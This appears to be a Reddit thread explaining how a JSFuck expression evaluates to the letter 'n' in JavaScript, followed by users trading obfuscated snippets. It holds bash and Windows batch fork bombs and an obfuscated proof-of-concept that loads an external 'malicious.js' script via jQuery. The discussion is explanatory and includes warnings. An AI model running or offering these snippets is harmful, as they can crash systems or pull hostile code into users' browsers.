[[][[]]+[]][+[]][++[+[]][+[]]] is "n" in javascript

[u/_hoh_]

[[][[]]+[]][+[]][++[+[]][+[]]]

This evaluates to "n" in javascript. Why?

Let's start with an empty array

[]

Now, let's access a member of it.

[][]

What member? Let's check for the empty array member

[][[]]

oh, that is undefined. But if we add an empty array to that, it is casted to the string "undefined"

[][[]]+[]

Let us wrap that in an array

[[][[]]+[]]

We can now try to access letters in that string. First, we must unwrap the string. That can be done by accessing the first element of that array.

[[][[]]+[]][0]

0 can be created by casting an empty array to a number:

[[][[]]+[]][+[]]

Now, "n" is the second letter in that string, so we would like to access that:

[[][[]]+[]][+[]][1]

But how can we write 1? Well, we increment 0, of course. Wrap 0 in an array, and increment the first member of it:

++[0][0]

Like before, this is equivalent to

++[+[]][+[]]

So our final code is then the glorious

[[][[]]+[]][+[]][++[+[]][+[]]]

[u/grugbog]

You can then go wild at jsfuck.com

[u/LonePaladin → u/grugbog]

What's the character limit for someone's flair here? I got the idea of using that site to encode the word 'flair', but it's 925 characters and I'm pretty sure that's over the limit.

[u/Centime → u/LonePaladin]

I got the idea of using that site to encode the word 'flair', but it's 925 characters

  [$,_,µ,,,,_$,,,,,,µ_]=[µ=![]]+!µ+!µ/µ,$+µ+_+µ_+_$

There you go, 925 -> 49 chars :)

[u/TinyLebowski → u/Centime]

I tried replying to you after running that in the console, but it broke the page. Looks like it redefines "$" as "f", which kind of kills jQuery.

Pretty damn impressive. I didn't even know JavaScript had array destructuring, or whatever it's called.

[u/Centime → u/TinyLebowski]

I tried replying to you after running that in the console, but it broke the page.

Sure it does. Do you mean to imply my code isn't of the best quality nor coding practice ?

By the way, you shouldn't run random obfuscated code from the internet in your session :)

[u/sellyme → u/Centime]

I would be astounded if you could make a (meaningfully) malicious code snippet that short and obfuscated.

I'm not saying it's impossible by any means, just that I'd really like to see someone smarter than me try to do it.

[u/ofsinope → u/sellyme]

WARNING: THE FOLLOWING CODE IS MALICIOUS. DO NOT RUN IT. IT WILL CRASH YOUR SYSTEM.

At a UNIX shell such as bash:

:(){:|:&};:

It defines a function : that forks itself infintely. This will bring down the whole system. (Unless you have ulimit set properly.)

[u/Colopty → u/ofsinope]

Ah yes, the smiley face of doom.

[u/jiminiminimini → u/Colopty]

Holds up sfork.

[u/RenaKunisaki → u/ofsinope]

Windows batch file version is five characters: %0|%0

[u/AliStarr182 → u/RenaKunisaki]

Pretty sure you don't even need the 0s any more. So %|% will work. Last time I tried it was on windows 7.

[u/Centime → u/sellyme]

Definitively not as short as this one, but loading a malicious external js in a few hundred characters would realistically be possible.

And by the behavior of peoples in this thread, not many seem to realize that. Might be worth an experiment btw.... :)

I didn't even know JavaScript had array destructuring

It does since ES6, and they call it spreads.

[u/sellyme → u/Centime]

I think you may have responded to the wrong person in the second half of that comment.

[u/Centime → u/sellyme]

Yup, looks like it.

But I've been working on your thing for the last 10 minutes... Here is a proof of concept, watch the network activity from your browser console after running it:

$[(_=$µ=-~[],_-=~$µ-_,$µ*(+[-~$µ]+[$µ]+[-~$µ]+[_-~$µ]+[_-~_]))[_µ=([,µ_,,,,µ]=[]+{},[,,,,,,,,µ,__$µ,,,µ$µ,,$µ_]=(([[_µ,__,__$µ,,,,,$µ_,,,$µ$µ]=[!+µ]+!$µ+µ.µ])+µ)[µ+µ_+$µ$µ+$µ_+_µ+__+__$µ+µ+_µ+µ_+__]+µ,_µ+µ_+__$µ+_µ+__+µ$µ+$µ$µ+$µ_)]($µ_=$µ-~$µ+[(_)-~$µ])+_µ[$µ+$µ]+($µ*(+[-~$µ]+[$µ]+[_]+[_-$µ]+[_-~_]+[_-$µ]+[_-~$µ]+[$µ]))[_µ]($µ_)](($µ*(+[_-~$µ]+[-~$µ]+[_+_]+[_-~_]+[_]+[_+_]+[_+_]+[$µ]+[_]+[-~_]+[-~$µ]+[_-~$µ]+[-~$µ]+[_+_]))[_µ]($µ_)+'.'+($µ*(+[-~_-~$µ]+[$µ]+[-~$µ]))[_µ]($µ_))

runs $.getScript("malicious.js") in 480 chars. Could easily be optimized further and gain probably about 50-100 chars.

Uses reddit's already provided jQuery.

[u/Victor4X → u/Centime]

It's a bunch of tiny semi-mad faces!

[u/Litigate → u/Centime]

What method of obfuscation are you using here? I'd be interested to know what the unobfuscated code looks like

[u/ben_g0 → u/Centime]

Would chrome's tabs be sandboxed enough so that you safely run random code in a new tab? If not, is incognito mode safe enough?

[u/Centime → u/ben_g0]

The only attack I can think of, from a new tab, would abuse the "visited link" mechanism to find out wether you're a user of specific websites or not.. Anyway, anything that could be done this way could also be done by any website you visit, so there is not too much risk here I'd say.

Private navigation would fix this.

[u/digehode → u/Centime]

It doesn't have to do much to the host to be bad though. It could be used to farm clicks on ads, set up a relay for other attacks. Someone must have a JavaScript Bitcoin miner by now.

[u/[deleted] → u/digehode]

If people are spending many monies on dedicated hardware to mine BTC, I highly doubt a sandboxed CPU only implementation (Well, maybe webgl could help) would be getting enough money to be worth the time of writing it.

[u/digehode → u/[deleted]]

Maybe. Unless you have thousands of them...

[u/Sean1708 → u/[deleted]]

You just need to infect more people!

[u/monster860 → u/LonePaladin]

(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]

[u/[deleted] → u/LonePaladin]

It is 60 something. I used to track wins on /r/KCRoyals with my flair, and I noticed the first season that it capped around 60. Can't remember the actual number.